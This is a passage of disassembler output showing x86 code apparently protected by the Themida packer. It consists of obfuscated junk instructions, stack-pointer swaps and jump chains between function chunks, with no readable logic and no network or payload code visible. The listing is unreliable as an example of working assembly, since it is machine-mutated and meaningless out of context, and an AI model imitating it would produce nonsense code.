mov bh, cl pop ecx push 383Eh mov [esp+16h+var_16], edx mov dh, bh push ebx mov bl, dh jmp loc_57229B ; --------------------------------------------------------------------------- loc_571F2C: ; CODE XREF: sub_562ABA+209j pop edi xor ebp, [esp+12h+var_12] xor [esp+12h+var_12], ebp xor ebp, [esp+12h+var_12] pop esp add [esp+0], al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_571F40: ; CODE XREF: sub_562ABA-1045j pop esi jmp loc_567048 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_571F46: ; CODE XREF: sub_55FCA5+20Fj push [esp+arg_0] jmp loc_56DF09 ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571F4F: ; CODE XREF: sub_562ABA+B6A4j push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp+2Ah+var_2C+2] jmp loc_55EA56 ; --------------------------------------------------------------------------- loc_571F62: ; CODE XREF: sub_562ABA+B176j add esp, 4 jmp loc_55E531 ; --------------------------------------------------------------------------- loc_571F6D: ; CODE XREF: sub_562ABA+73B1j pop ebp jmp loc_564C9F ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_571F73: ; CODE XREF: Themida_:005609FCj pop small word ptr [esp] jmp loc_569C8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571F7C: ; CODE XREF: sub_562ABA+DFC9j push [esp-4+arg_4] mov ecx, [esp+0] jmp loc_56EAE6 ; --------------------------------------------------------------------------- loc_571F88: ; CODE XREF: sub_562ABA+B85Dj shr bl, 3 push eax jmp loc_57103F ; --------------------------------------------------------------------------- loc_571F91: ; CODE XREF: sub_562ABA-3348j xchg edx, [esp+16h+var_16] pop esp push ebp mov ebp, 4 add edx, ebp jmp loc_56F738 ; --------------------------------------------------------------------------- loc_571FA2: ; CODE XREF: sub_562ABA+6BBCj pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_571FA8: ; CODE XREF: sub_562ABA+471Bj pop edx add edx, 4 sub edx, 4 xchg edx, [esp+36h+var_36] mov esp, [esp+36h+var_36] mov [esp+36h+var_36], eax sub esp, 4 jmp loc_569E2E ; --------------------------------------------------------------------------- loc_571FC6: ; CODE XREF: sub_562ABA+6C50j add edi, 4 jmp loc_56F5CE ; --------------------------------------------------------------------------- loc_571FCE: ; CODE XREF: sub_562ABA-2333j xor ebx, [esp+42h+var_42] pop esp jmp loc_56AE57 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56DB20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571FE0: ; CODE XREF: sub_562ABA-94Dj mov edi, 17BC1F68h jmp loc_56BD15 ; --------------------------------------------------------------------------- loc_571FEA: ; CODE XREF: sub_562ABA+53A6j push edi mov edi, 6FCB3E2Fh mov ebp, edi pop edi add ecx, ebp pop ebp push ebp mov ebp, 15015B32h push eax mov eax, 397109C6h sub eax, 66F4462Eh inc eax sub eax, 0A8736AA6h or ebp, eax pop eax and ebp, 638B2E38h xchg ebx, ebp not ebx xchg ebx, ebp push edx jmp loc_5672B9 ; --------------------------------------------------------------------------- loc_572022: ; CODE XREF: sub_562ABA-2160j xchg edi, edx sub edx, 0A1307313h mov ebp, edx pop edx shr ebp, 5 inc ebp push ebp jmp loc_56ABE2 ; --------------------------------------------------------------------------- loc_572037: ; CODE XREF: sub_562ABA+E80Bj add [esp+3Ah+var_3A], 4 mov edi, [esp+3Ah+var_3A] jmp loc_561FEF ; --------------------------------------------------------------------------- loc_572043: ; CODE XREF: sub_562ABA+84B8j add ebp, esi jmp loc_56C0B3 ; --------------------------------------------------------------------------- loc_57204A: ; CODE XREF: sub_562ABA+CBABj add ebp, ecx pop ecx add edx, ebp pop ebp jmp loc_565E76 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_572055: ; CODE XREF: Themida_:0055EF0Fj push 2242h jmp loc_56478A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_57205F: ; CODE XREF: sub_562ABA+A52Aj mov [esp+3Ah+var_3A], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_569D3E ; --------------------------------------------------------------------------- loc_572072: ; CODE XREF: sub_562ABA-135Dj pop ebp jmp loc_565972 ; --------------------------------------------------------------------------- loc_572078: ; CODE XREF: sub_562ABA-2429j push eax jmp loc_56E5A7 ; --------------------------------------------------------------------------- loc_57207E: ; CODE XREF: sub_562ABA+824j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+1Eh+var_1E] pop esp jmp loc_5687A7 ; --------------------------------------------------------------------------- loc_572093: ; CODE XREF: sub_562ABA+478Bj sub ebx, ecx pop ecx push ebp mov ebp, esp jmp loc_569B52 ; --------------------------------------------------------------------------- loc_57209E: ; CODE XREF: sub_562ABA+6EBBj push eax mov ah, 0A3h sub ah, 0FDh or ah, 6 push ecx mov cl, 0C7h and cl, 1Bh xor cl, 0E9h add ah, cl jmp loc_571142 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5720B7 proc near ; CODE XREF: sub_562ABA+55F3j push ebp mov ebp, 36CD1707h dec ebp neg ebp push esi jmp loc_563A1A sub_5720B7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5720C6: ; CODE XREF: sub_562ABA+DB3Dj add esi, edx jmp loc_56E6FC ; --------------------------------------------------------------------------- loc_5720CD: ; CODE XREF: sub_562ABA-337Fj mov [esp+0], edx mov edx, 4 sub ecx, 58DD58CCh add ecx, edx add ecx, 58DD58CCh pop edx add ecx, 4 jmp loc_55ECE8 ; --------------------------------------------------------------------------- loc_5720EC: ; CODE XREF: sub_562ABA+7461j push esi mov esi, 1CEA08E6h and esi, 42FB6819h jmp loc_562763 ; --------------------------------------------------------------------------- loc_5720FD: ; CODE XREF: sub_562ABA-3845j add ebx, 4EDC7813h pop edx push 7131h jmp loc_570647 ; --------------------------------------------------------------------------- loc_57210E: ; CODE XREF: sub_562ABA+15BFj add edx, 4 add edx, 4 xchg edx, [esp+2Ah+var_2C+2] pop esp jmp loc_564599 ; --------------------------------------------------------------------------- loc_572123: ; CODE XREF: sub_562ABA+E802j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+40h+var_42+2] pop esp mov [esp+3Ch+var_3E+2], edx mov dl, 1Ch jmp loc_570D42 ; --------------------------------------------------------------------------- loc_57213C: ; CODE XREF: sub_562ABA+3424j pop eax add dword ptr [esp+8], 1B487FCEh jmp loc_56E056 ; --------------------------------------------------------------------------- loc_57214A: ; CODE XREF: sub_562ABA+3098j pop ebp add ebp, 4 push edx sub esp, 4 mov [esp+10h+var_12+2], ecx push edx mov edx, 70DA4DFAh mov ecx, 1D9E74C8h xor ecx, edx pop edx mov edx, 0A5834F9h xor edx, 258E0485h add edx, 3D6E08BAh sub edx, ecx push [esp+10h+var_12+2] pop ecx add esp, 4 add ebp, edx mov edx, [esp+0Ch+var_C] push 69ABh mov [esp+10h+var_12+2], ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebp jmp loc_5714A7 ; --------------------------------------------------------------------------- loc_5721A6: ; CODE XREF: sub_562ABA+741Ej mov edx, edi mov edi, [esp+2+var_4+2] jmp loc_56F1D6 ; --------------------------------------------------------------------------- loc_5721B0: ; CODE XREF: sub_562ABA+9B40j add ecx, edi jmp loc_563BA1 ; --------------------------------------------------------------------------- loc_5721B7: ; CODE XREF: sub_562ABA-279Cj not ebx and ebx, 66CB2D12h dec ebx and ebx, 718056EAh add ebx, 0DF7FFC04h add ebp, ebx pop ebx jmp loc_57058C ; --------------------------------------------------------------------------- loc_5721D4: ; CODE XREF: sub_562ABA-2BAj mov edi, 0E8FB8CE1h sub ebx, edi push [esp+1Ah+var_1A] pop edi add esp, 4 add edx, ebx mov ebx, [esp+16h+var_16] add esp, 4 jmp loc_5652C2 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5721EF proc near ; CODE XREF: sub_55F3A9+Fj var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] pop esp push ecx jmp loc_562B0B sub_5721EF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572207: ; CODE XREF: sub_562ABA+FD26j push esp pop ecx jmp loc_55E759 ; --------------------------------------------------------------------------- loc_57220E: ; CODE XREF: sub_562ABA+D6ABj mov [esp+3Eh+var_3E], esp add [esp+3Eh+var_3E], 4 mov edi, [esp+3Eh+var_3E] add esp, 4 push 6AFBh mov [esp+3Eh+var_3E], ebp push 4 pop ebp push ebx mov ebx, 2819280Ch and ebx, 68E1206Eh or ebx, 651F1AFEh and ebx, 700303F2h jmp loc_56CD4D ; --------------------------------------------------------------------------- loc_57224C: ; CODE XREF: sub_562ABA+EAFDj xor ebp, ecx mov ecx, [esp+26h+var_28+2] jmp loc_56A7FA ; --------------------------------------------------------------------------- loc_572256: ; CODE XREF: sub_562ABA+BA09j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_57225B: ; CODE XREF: sub_562ABA+B46Fj add [esp+26h+var_1E], 5B8A402Ah add [esp+26h+var_1E], edx push ebp mov ebp, 5B8A402Ah sub [esp+2Ah+var_1E], ebp pop ebp add [esp+26h+var_1E], 575A5B70h jmp loc_570F99 ; --------------------------------------------------------------------------- loc_57227F: ; CODE XREF: sub_562ABA+C255j sub eax, 4 push eax push dword ptr [esp+4] pop eax pop [esp+32h+var_32] pop esp mov [esp+2Ah+var_2C+2], esi mov esi, 4 add ebx, esi jmp loc_569BEC ; --------------------------------------------------------------------------- loc_57229B: ; CODE XREF: sub_562ABA+F46Dj mov cl, bl pop ebx pop edx mov ebx, [esp+12h+var_12] add esp, 4 pop eax mov [edi+eax*4], cl push [esp+0Ah+var_C+2] push dword ptr [esp+0] jmp loc_56475A ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5722B7 proc near ; CODE XREF: sub_562ABA+82Aj ; FUNCTION CHUNK AT 0055E948 SIZE 0000000A BYTES push ebp mov ebp, 6CEF2ABFh inc ebp neg ebp xor ebp, 9310D544h jmp loc_55E948 sub_5722B7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5722CB: ; CODE XREF: sub_562ABA+8645j mov ebp, esp add ebp, 4 push edi mov edi, 4 jmp loc_55FEB9 ; --------------------------------------------------------------------------- loc_5722DE: ; CODE XREF: sub_562ABA+384Dj sub [esp+8], ebp jmp loc_55F942 ; --------------------------------------------------------------------------- loc_5722E7: ; CODE XREF: sub_562ABA+D04Dj push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_56EDF7 ; --------------------------------------------------------------------------- loc_5722F8: ; CODE XREF: sub_562ABA+527Aj add al, 91h push [esp+1Ah+var_1A] mov edx, [esp+1Eh+var_1E] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+22h+var_22] jmp loc_564643 ; --------------------------------------------------------------------------- loc_572314: ; CODE XREF: sub_562ABA+ACF6j mov [esp-4+arg_0], edx mov edx, 1FC0400h jmp loc_55F26D ; --------------------------------------------------------------------------- loc_572321: ; CODE XREF: sub_562ABA+A8B6j push ecx mov ecx, 4 sub edi, 82D4183h jmp loc_56FF68 ; --------------------------------------------------------------------------- loc_572332: ; CODE XREF: sub_562ABA+1D69j add dword ptr [esp+0], 4 push dword ptr [esp+0] mov edx, [esp+32h+var_32] add esp, 4 add esp, 4 add edx, 4 sub edx, 4 xchg edx, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] mov [esp+2Ah+var_2C+2], edi push 4D4Eh mov [esp+0], esp push eax push ebx mov ebx, 1AA81272h add ebx, 181935DAh inc ebx sub ebx, 32C14849h mov eax, ebx pop ebx add [esp+4], eax push [esp+32h+var_32] pop eax push 2B61h mov [esp+36h+var_36], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+36h+var_36] mov esp, [esp+36h+var_36] pop edi add edi, 4 jmp loc_56BF7B ; --------------------------------------------------------------------------- loc_5723A9: ; CODE XREF: sub_562ABA-3A37j add esp, 4 dec ecx push 47EBh mov [esp+32h+var_32], eax mov eax, 272C717Eh push eax xchg edx, [esp+36h+var_36] not edx xchg edx, [esp+36h+var_36] pop eax dec eax add eax, 1EEE2486h push edi jmp loc_56A848 ; --------------------------------------------------------------------------- loc_5723D0: ; CODE XREF: sub_562ABA+6069j mov [esp+0], ebp mov ebp, 780C17CAh push ecx jmp loc_560E9D ; --------------------------------------------------------------------------- loc_5723DE: ; CODE XREF: sub_562ABA+40BDj mov [esp+3Eh+var_3E], ebx jmp loc_5707A5 ; --------------------------------------------------------------------------- loc_5723E6: ; CODE XREF: sub_562ABA+6D14j push [esp+0Eh+var_C+2] mov edx, [esp+12h+var_12] add esp, 4 pop dword ptr [esp+0] mov esp, [esp+0Ah+var_C+2] jmp loc_5623A9 ; --------------------------------------------------------------------------- loc_5723FE: ; CODE XREF: sub_562ABA+8417j mov esi, 6A50034Eh jmp loc_564C1B ; --------------------------------------------------------------------------- loc_572408: ; CODE XREF: sub_562ABA+779Aj mov esp, [esp+20h+var_22+2] push [esp+20h+var_22+2] push dword ptr [esp+0] push [esp+28h+var_28] mov eax, [esp+2Ch+var_2C] add esp, 4 push edi push esp pop edi push esi mov esi, 4 add edi, esi jmp loc_5686D2 ; --------------------------------------------------------------------------- loc_57242A: ; CODE XREF: sub_562ABA-3A8Bj pop [esp+6+var_8+2] jmp loc_562A87 ; --------------------------------------------------------------------------- loc_572432: ; CODE XREF: sub_562ABA+47CAj pop bx jmp loc_568969 ; --------------------------------------------------------------------------- loc_572439: ; CODE XREF: sub_562ABA+15E0j mov eax, ebp pop ebp sub esp, 4 mov [esp+0], ebp jmp loc_56C497 ; --------------------------------------------------------------------------- loc_57244A: ; CODE XREF: sub_562ABA+3DD8j mov eax, 56D35B5Ch add eax, 1 shl eax, 6 jmp loc_56CE73 ; --------------------------------------------------------------------------- loc_57245A: ; CODE XREF: sub_562ABA+8A66j mov ecx, edx pop edx shr ecx, 2 push esi mov esi, 465E2CDCh or ecx, esi pop esi push ebp mov ebp, 66EE43D2h sub ecx, ebp pop ebp sub ecx, 394EA8AEh add ebp, ecx pop ecx jmp loc_567D59 ; --------------------------------------------------------------------------- loc_572480: ; CODE XREF: sub_562ABA+973Cj mov esp, [esp+2+var_4+2] sar byte ptr [esp+2+var_4+2], cl pushf jmp loc_56E31C ; --------------------------------------------------------------------------- loc_57248C: ; CODE XREF: sub_562ABA-224Aj sub ch, 4Ch sub dl, ch jmp loc_563785 ; --------------------------------------------------------------------------- loc_572496: ; CODE XREF: sub_562ABA+203j mov [esp+0Ch+var_C], eax push edx mov edx, 0BA6014Eh sub edx, 6F474D99h push edi mov edi, 10206C3Bh sub edi, 0D4F1244h and edi, 25262514h jmp loc_564DF7 ; --------------------------------------------------------------------------- loc_5724BC: ; CODE XREF: sub_562ABA+F318j push 0E65h mov [esp+36h+var_36], eax push [esp+36h+var_32] pop eax pop [esp+36h+var_36] pop esp mov [esp+0], esi mov esi, 5DC480BEh push edx mov edx, esi jmp loc_5689D0 ; --------------------------------------------------------------------------- loc_5724DD: ; CODE XREF: sub_562ABA-E74j mov ebp, [esp+32h+var_32] jmp loc_560836 ; --------------------------------------------------------------------------- loc_5724E5: ; CODE XREF: sub_562ABA+C19Ej push 4201h mov [esp+16h+var_16], ebx push ebp jmp loc_56C86A ; --------------------------------------------------------------------------- loc_5724F3: ; CODE XREF: sub_562ABA-3924j mov edi, 7BF51B9Dh push 785Ch mov [esp+4Ah+var_4A], esi mov esi, 1D494F38h or edi, esi pop esi jmp loc_5605F7 ; --------------------------------------------------------------------------- loc_57250D: ; CODE XREF: sub_562ABA-1B97j mov esp, [esp+48h+var_4A+2] push [esp+48h+var_4A+2] mov eax, [esp+4Ch+var_4E+2] add esp, 4 jmp loc_5693FD ; --------------------------------------------------------------------------- loc_572521: ; CODE XREF: sub_562ABA+D56Cj mov esp, [esp+16h+var_16] jmp loc_568332 ; --------------------------------------------------------------------------- loc_572529: ; CODE XREF: sub_562ABA-4487j shr eax, 3 add eax, 2E0F1492h and eax, 514B7532h and eax, 17BD5632h not eax sub eax, 0F165D8CCh sub ebp, eax pop eax add edi, ebp pop ebp xchg edi, [esp+42h+var_42] mov esp, [esp+42h+var_42] push 0DB3h jmp loc_5697A9 ; --------------------------------------------------------------------------- loc_572558: ; CODE XREF: sub_562ABA+4BF2j push ecx mov ecx, esp jmp loc_56605A ; --------------------------------------------------------------------------- loc_572560: ; CODE XREF: sub_562ABA+B267j mov ebx, [esp+4Ch+var_4E+2] jmp loc_570DA7 ; --------------------------------------------------------------------------- loc_572568: ; CODE XREF: sub_562ABA+1005Bj xor [esp+4Ch+var_4E+2], eax xor eax, [esp+4Ch+var_4E+2] pop esp sub esp, 4 jmp loc_5619F8 ; --------------------------------------------------------------------------- loc_572577: ; CODE XREF: sub_562ABA+1FC7j dec ebp jmp loc_55F852 ; --------------------------------------------------------------------------- loc_57257D: ; CODE XREF: sub_562ABA+A0F7j pop ebx push ebx jmp loc_5648A5 ; --------------------------------------------------------------------------- loc_572584: ; CODE XREF: sub_562ABA+908Bj add edi, ecx add edi, 5A44612Eh jmp loc_56D171 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_572591 proc near ; CODE XREF: sub_562ABA+98FFj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx push 4 mov edx, [esp+8+var_8] add esp, 4 add edi, edx push [esp+4+var_4] pop edx add esp, 4 push ecx mov ecx, 69C757A9h shl ecx, 1 or ecx, 102D151Bh add ecx, 2C5040A9h sub edi, 2F7544C2h jmp loc_56A262 sub_572591 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5725CD: ; CODE XREF: sub_562ABA+42E4j sub ebp, 329E665Eh jmp loc_56D355 ; --------------------------------------------------------------------------- loc_5725D8: ; CODE XREF: sub_562ABA+F0F3j add esp, 4 add ecx, edx pop edx pop esi xchg ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] add word ptr [esp+1Eh+var_1E], ax pushf jmp loc_5708BC ; --------------------------------------------------------------------------- loc_5725F2: ; CODE XREF: sub_562ABA+97B5j xor ecx, 2B7C2BCAh sub ecx, 1F0D37CEh neg ecx dec ecx not ecx add ecx, 0F6712B5h add edx, 1D7D2397h sub edx, ecx push esi mov esi, 1D7D2397h jmp loc_568E2F ; --------------------------------------------------------------------------- loc_57261C: ; CODE XREF: sub_562ABA+CD0Cj push 0A7Ch jmp loc_56C29F ; --------------------------------------------------------------------------- loc_572626: ; CODE XREF: sub_562ABA+6680j push edx mov dh, ch jmp loc_566971 ; --------------------------------------------------------------------------- loc_57262E: ; CODE XREF: sub_562ABA+81D5j push dword ptr [esp+0] jmp loc_563B34 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_572636: ; CODE XREF: Themida_:00561E39j pop esp jmp loc_56CA11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_57263C: ; CODE XREF: sub_562ABA-420Fj push edi not [esp+6+var_8+2] pop edi sub edi, 6B5C7799h shl edi, 7 add edi, 94EA6493h sub edx, edi pop edi add edx, 3A0F693Fh add edx, ebp sub edx, 3A0F693Fh add edx, 6DF94413h pop ebp jmp loc_5647E0 ; --------------------------------------------------------------------------- loc_57266D: ; CODE XREF: sub_562ABA-24C8j xchg ebx, edi xor edi, 0AA7CD317h push edi pop edx jmp loc_56C0A2 ; --------------------------------------------------------------------------- loc_57267C: ; CODE XREF: sub_562ABA-357Cj add ecx, ebx mov ebx, [esp+26h+var_28+2] jmp loc_56142F ; --------------------------------------------------------------------------- loc_572686: ; CODE XREF: sub_562ABA+C057j pop edx sub [esp+2Ah+var_28+2], 77D30671h sub [esp+2Ah+var_28+2], 426A281Dh add [esp+2Ah+var_28+2], ebp jmp loc_572737 ; --------------------------------------------------------------------------- loc_5726A0: ; CODE XREF: sub_562ABA-16E5j inc eax dec eax sub eax, 0CAAAF696h sub ecx, eax pop eax pop eax sub esi, ecx pop ecx mov ecx, esi push [esp-1Ch+arg_18] pop esi add esp, 4 jmp loc_5600F4 ; --------------------------------------------------------------------------- loc_5726BC: ; CODE XREF: sub_562ABA+6055j pop ecx add esp, 4 or edx, eax shl edx, 1 jmp sub_572A4F ; --------------------------------------------------------------------------- loc_5726CC: ; CODE XREF: sub_562ABA+59A3j add edi, 7FCB2BABh add edi, edx jmp loc_56BA21 ; --------------------------------------------------------------------------- loc_5726D9: ; CODE XREF: sub_562ABA+8C4Cj pop ebx xchg esi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] btr word ptr [esp+6+var_8+2], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5726EB: ; CODE XREF: sub_562ABA+6283j mov edi, [esp+0Ah+var_C+2] add esp, 4 add edi, 4 push ecx mov ecx, 2 add edi, ecx jmp loc_568487 ; --------------------------------------------------------------------------- loc_572704: ; CODE XREF: sub_562ABA-AAFj xor edi, eax pop eax add eax, 4A981B63h sub eax, edi push edi jmp loc_56DA8C ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_572714 proc near ; CODE XREF: sub_562ABA+360Aj var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, 20010DE9h push ebp not [esp+8+var_8] pop ebp xor ebp, 0B2A8AED4h add edx, ebp mov ebp, [esp+4+var_4] add esp, 4 neg edx jmp loc_56BA2C sub_572714 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572737: ; CODE XREF: sub_562ABA+FBE1j add [esp+2Ah+var_28+2], 426A281Dh add [esp+2Ah+var_28+2], 77D30671h pop ebp mov ecx, [esp+26h+var_28+2] add esp, 4 add ecx, 4 push 5921h mov [esp+26h+var_28+2], ebp mov ebp, 4 add ecx, 75D152DDh add ecx, ebp sub ecx, 75D152DDh pop ebp jmp loc_572998 ; --------------------------------------------------------------------------- loc_572778: ; CODE XREF: sub_562ABA+AE9Cj sub eax, 34CE4805h push edi mov edi, 30D53268h push ecx mov ecx, 703917ECh not ecx jmp loc_56AB2E ; --------------------------------------------------------------------------- loc_572790: ; CODE XREF: sub_562ABA-Aj add al, ch jmp loc_565ADF ; --------------------------------------------------------------------------- loc_572797: ; CODE XREF: sub_562ABA+65E5j push 1 mov ebp, [esp+22h+var_22] add esp, 4 and eax, ebp push [esp+1Eh+var_1E] push [esp+22h+var_22] push [esp+26h+var_28+2] jmp loc_56CD92 ; --------------------------------------------------------------------------- loc_5727B5: ; CODE XREF: sub_562ABA+9E40j xor edx, 47167D28h jmp loc_5632A0 ; --------------------------------------------------------------------------- loc_5727C0: ; CODE XREF: sub_562ABA+2B36j add ebx, 4 push edi jmp loc_56B900 ; --------------------------------------------------------------------------- loc_5727CC: ; CODE XREF: sub_562ABA-48F2j mov [esp+6+var_8+2], ebx push [esp+6+var_8+2] mov eax, [esp+0Ah+var_C+2] add esp, 4 push 6D6Dh mov [esp+0Ah+var_C+2], ecx jmp loc_572207 ; --------------------------------------------------------------------------- loc_5727E5: ; CODE XREF: sub_562ABA+2803j sub esi, 8235A2Dh pop eax mov eax, esi pop esi xchg eax, edi not edi xchg eax, edi sub esp, 4 jmp loc_56922C ; --------------------------------------------------------------------------- loc_5727FB: ; CODE XREF: sub_562ABA-B3Fj add ecx, 4 jmp loc_56DE2B ; --------------------------------------------------------------------------- loc_572806: ; CODE XREF: sub_562ABA+3262j mov [esp+12h+var_12], edi jmp loc_5729EC ; --------------------------------------------------------------------------- loc_57280E: ; CODE XREF: sub_562ABA+9D41j push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_56E8EB ; --------------------------------------------------------------------------- loc_572822: ; CODE XREF: sub_562ABA+2898j push ecx jmp loc_5675AA ; --------------------------------------------------------------------------- loc_572828: ; CODE XREF: sub_562ABA+A66Fj mov [esp+1Eh+var_1E], edx pop ecx pop edx push esi push ecx add [esp+1Eh+var_1E], 43934574h push [esp+1Eh+var_1E] jmp loc_55E68A ; --------------------------------------------------------------------------- loc_57283E: ; CODE XREF: sub_562ABA+1F80j and ecx, 13BD61D1h jmp loc_56E08E ; --------------------------------------------------------------------------- loc_572849: ; CODE XREF: sub_562ABA-146Bj sub esi, 0BEE904FDh sub ebx, esi jmp loc_56990B ; --------------------------------------------------------------------------- loc_572856: ; CODE XREF: sub_562ABA+6D3Aj shl edx, 1 push edx not [esp+4+var_4] jmp loc_570A3A ; --------------------------------------------------------------------------- loc_572861: ; CODE XREF: sub_562ABA+9A58j push ecx mov ch, 5Ch mov al, 45h sub al, ch pop ecx shl al, 4 sub al, 37h xor cl, al pop eax push edx mov dh, 44h add dh, 0ACh xor dh, 0F1h jmp loc_560696 ; --------------------------------------------------------------------------- loc_57287F: ; CODE XREF: sub_562ABA+603Bj add ebx, 4 push 1B68h jmp loc_56CD62 ; --------------------------------------------------------------------------- loc_57288F: ; CODE XREF: sub_562ABA+883Dj mov ah, 6Fh add bl, ah pop eax jmp loc_562E36 ; --------------------------------------------------------------------------- loc_572899: ; CODE XREF: sub_562ABA+C59Bj push 77E4h mov [esp+2+var_4+2], edi push 6253h mov [esp+6+var_8+2], ebx mov ebx, esp jmp loc_56DC03 ; --------------------------------------------------------------------------- loc_5728B0: ; CODE XREF: sub_562ABA+6E4Cj pop esp add eax, ecx push [esp+2+var_4+2] pop ecx add esp, 4 xchg eax, [esp+0] mov esp, [esp+0] inc byte ptr [esp+0] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5728CC: ; CODE XREF: sub_562ABA+6FF1j mov eax, [esp+26h+var_28+2] add esp, 4 add esp, 4 jmp loc_568D5D ; --------------------------------------------------------------------------- loc_5728DA: ; CODE XREF: sub_562ABA+2216j push eax jmp loc_56A042 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_566E32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5728E9: ; CODE XREF: sub_562ABA+3886j pop edi xchg ebp, [esp+3Ah+var_3A] jmp loc_56C41D ; --------------------------------------------------------------------------- loc_5728F2: ; CODE XREF: sub_562ABA+2326j add esp, 4 mov esi, [esp+36h+var_36] add esp, 4 add esi, 7FA67874h pop edx jmp loc_56DB3D ; --------------------------------------------------------------------------- loc_57290A: ; CODE XREF: sub_562ABA+8221j sub edx, 4B536035h mov ebp, [esp+32h+var_32] push edx jmp loc_56F641 ; --------------------------------------------------------------------------- loc_572919: ; CODE XREF: sub_562ABA-4458j add ebx, 0A531440h sub eax, 286A000Ah sub eax, ebx add eax, 286A000Ah jmp loc_56196F ; --------------------------------------------------------------------------- loc_572930: ; CODE XREF: sub_562ABA+8E56j push small 2118h jmp loc_571781 ; --------------------------------------------------------------------------- loc_572939: ; CODE XREF: sub_562ABA+4EF2j push [esp+26h+var_22] pop esi pop [esp+26h+var_28+2] mov esp, [esp+22h+var_22] mov word ptr [esp+22h+var_22], cx movzx cx, al jmp loc_566759 ; --------------------------------------------------------------------------- loc_572951: ; CODE XREF: sub_562ABA+41DAj push [esp+16h+var_16] pop eax jmp loc_560103 ; --------------------------------------------------------------------------- loc_57295A: ; CODE XREF: sub_562ABA+56A6j add esp, 4 xor esi, [esp+12h+var_12] xor [esp+12h+var_12], esi xor esi, [esp+12h+var_12] jmp loc_56ADE5 ; --------------------------------------------------------------------------- loc_57296B: ; CODE XREF: sub_562ABA+35EFj mov edi, edx jmp loc_57155E ; --------------------------------------------------------------------------- loc_572972: ; CODE XREF: sub_562ABA+4701j mov [esp+32h+var_32], eax push dword ptr [esp+4] mov eax, [esp+36h+var_36] push edx jmp loc_55F459 ; --------------------------------------------------------------------------- loc_572982: ; CODE XREF: sub_562ABA+A773j push eax mov eax, esp push ecx mov ecx, 4 jmp loc_5643F6 ; --------------------------------------------------------------------------- loc_572990: ; CODE XREF: sub_562ABA+7440j push ecx mov ch, 0F0h jmp loc_56CD10 ; --------------------------------------------------------------------------- loc_572998: ; CODE XREF: sub_562ABA+FCB9j push 877h mov [esp+26h+var_28+2], ecx push [esp+26h+var_22] pop ecx jmp loc_5712EE ; --------------------------------------------------------------------------- loc_5729AA: ; CODE XREF: sub_562ABA+84Aj xchg eax, ebp inc eax jmp loc_560216 ; --------------------------------------------------------------------------- loc_5729B1: ; CODE XREF: sub_562ABA+4F23j add ah, 12h or ah, 40h add ah, 3Ch xor ah, 5Ch jmp loc_57114E ; --------------------------------------------------------------------------- loc_5729C2: ; CODE XREF: sub_562ABA-2352j sub edi, ebx jmp loc_56EAB5 ; --------------------------------------------------------------------------- loc_5729C9: ; CODE XREF: sub_562ABA+C717j add esi, 4 xchg esi, [esp+0] jmp loc_5711EA ; --------------------------------------------------------------------------- loc_5729D7: ; CODE XREF: sub_562ABA+563Aj xor ebp, 4676583Ah jmp loc_562EAD ; --------------------------------------------------------------------------- loc_5729E2: ; CODE XREF: sub_562ABA-716j pop [esp+3Ah+var_3A] push ebp push edx jmp loc_56EB0A ; 